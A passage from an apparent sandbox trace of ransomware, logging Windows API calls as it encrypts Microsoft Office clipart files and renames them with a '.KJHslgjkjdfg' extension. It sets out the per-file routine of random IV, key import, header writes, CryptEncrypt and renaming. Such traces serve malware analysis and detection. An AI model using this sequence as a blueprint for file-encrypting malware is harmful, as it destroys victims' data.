lpOverlapped=0x0) returned 1 [0193.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.104] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.104] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3f34, lpOverlapped=0x0) returned 1 [0193.105] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3f40, dwBufLen=0x3f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3f40) returned 1 [0193.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.105] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3f40, lpOverlapped=0x0) returned 1 [0193.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.105] SetEndOfFile (hFile=0x130) returned 1 [0193.107] GetProcessHeap () returned 0x2ef0000 [0193.107] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.107] GetProcessHeap () returned 0x2ef0000 [0193.107] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.kjhslgjkjdfg")) returned 1 [0193.111] CloseHandle (hObject=0x130) returned 1 [0193.112] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0193.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.112] GetProcessHeap () returned 0x2ef0000 [0193.112] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.112] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.112] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.114] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.114] GetProcessHeap () returned 0x2ef0000 [0193.114] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.114] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.114] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.115] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.115] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.115] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4354, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4354, lpOverlapped=0x0) returned 1 [0193.116] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4360, dwBufLen=0x4360 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4360) returned 1 [0193.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.116] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4360, lpOverlapped=0x0) returned 1 [0193.116] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.116] SetEndOfFile (hFile=0x130) returned 1 [0193.116] GetProcessHeap () returned 0x2ef0000 [0193.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.117] GetProcessHeap () returned 0x2ef0000 [0193.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.kjhslgjkjdfg")) returned 1 [0193.124] CloseHandle (hObject=0x130) returned 1 [0193.124] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0193.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.124] GetProcessHeap () returned 0x2ef0000 [0193.124] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.125] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.125] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.125] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.125] GetProcessHeap () returned 0x2ef0000 [0193.125] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.125] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.125] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.125] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.127] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.127] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.128] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.128] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.128] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3ef0, lpOverlapped=0x0) returned 1 [0193.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0) returned 1 [0193.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ef0, lpOverlapped=0x0) returned 1 [0193.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.129] SetEndOfFile (hFile=0x130) returned 1 [0193.132] GetProcessHeap () returned 0x2ef0000 [0193.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.132] GetProcessHeap () returned 0x2ef0000 [0193.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.kjhslgjkjdfg")) returned 1 [0193.144] CloseHandle (hObject=0x130) returned 1 [0193.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0193.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.185] GetProcessHeap () returned 0x2ef0000 [0193.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.185] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.185] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.187] GetProcessHeap () returned 0x2ef0000 [0193.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.187] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.187] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.188] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.188] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.188] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.188] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.188] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.188] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.188] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4124, lpOverlapped=0x0) returned 1 [0193.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4130, dwBufLen=0x4130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4130) returned 1 [0193.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.189] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4130, lpOverlapped=0x0) returned 1 [0193.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.190] SetEndOfFile (hFile=0x130) returned 1 [0193.192] GetProcessHeap () returned 0x2ef0000 [0193.192] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.192] GetProcessHeap () returned 0x2ef0000 [0193.192] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.kjhslgjkjdfg")) returned 1 [0193.199] CloseHandle (hObject=0x130) returned 1 [0193.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0193.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.200] GetProcessHeap () returned 0x2ef0000 [0193.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.200] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.210] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.210] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.210] GetProcessHeap () returned 0x2ef0000 [0193.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.210] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.210] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.211] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, 